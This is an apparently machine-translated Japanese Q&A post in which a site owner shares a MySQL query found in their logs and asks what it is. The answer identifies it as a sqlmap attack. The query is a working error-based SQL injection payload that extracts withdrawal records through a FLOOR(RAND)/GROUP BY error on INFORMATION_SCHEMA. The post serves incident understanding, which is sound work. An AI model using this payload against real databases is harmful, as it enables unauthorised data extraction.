Mysql注入クエリ？

Question

SELECT `u`.`login`,`u`.`fullname`,`ur`.`user_id`,`ur`.`refer_id` 
FROM 
`user_referrals` AS `ur` 
JOIN 
(SELECT id,login,fullname FROM users WHERE id=4 
AND 
(SELECT 3039 FROM 
(SELECT COUNT(*),CONCAT(0x7170707a71,(SELECT 
MID((IFNULL(CAST(id AS CHAR),0x20)),1,54) 
FROM 
cms_withdrawal WHERE user_id=3454 and timestamp>1494075125 LIMIT 
1,1),0x7176716271,FLOOR(RAND(0)*2))x 
FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)) AS `u` 
WHERE (ur.user_id=4135 AND ur.refer_id=4 AND (SELECT 3039 
FROM 
(SELECT COUNT(*),CONCAT(0x7170707a71,(SELECT MID((IFNULL(CAST(id AS 
CHAR),0x20)),1,54) FROM cms_withdrawal WHERE user_id=3454 and 
timestamp>1494075125 LIMIT 1,1),0x7176716271,FLOOR(RAND(0)*2))x 
FROM 
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)) OR (ur.refer_id=4135 AND 
ur.user_id=4 AND (SELECT 3039 FROM(SELECT COUNT(*),CONCAT(0x7170707a71, 
(SELECT MID((IFNULL(CAST(id AS CHAR),0x20)),1,54) 
FROM cms_withdrawal WHERE 
user_id=3454 and timestamp>1494075125 LIMIT 
1,1),0x7176716271,FLOOR(RAND(0)*2))x 
FROM 
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)) AND ur.level=1 LIMIT 1 

私のmysqlログに表示されます。それは何ですか？

Answer 1

このクエリはSQLマップ攻撃の一部です。 Sqlmapは、侵入テスト（ハッキング）目的で使用されます。あなたは、コードは、彼らが自分の文で使用するものの一部であることがわかります。この問題で

>>http://github.com/sqlmapproject/sqlmap/issues/209

SQLMAP：http://github.com/sqlmapproject/sqlmap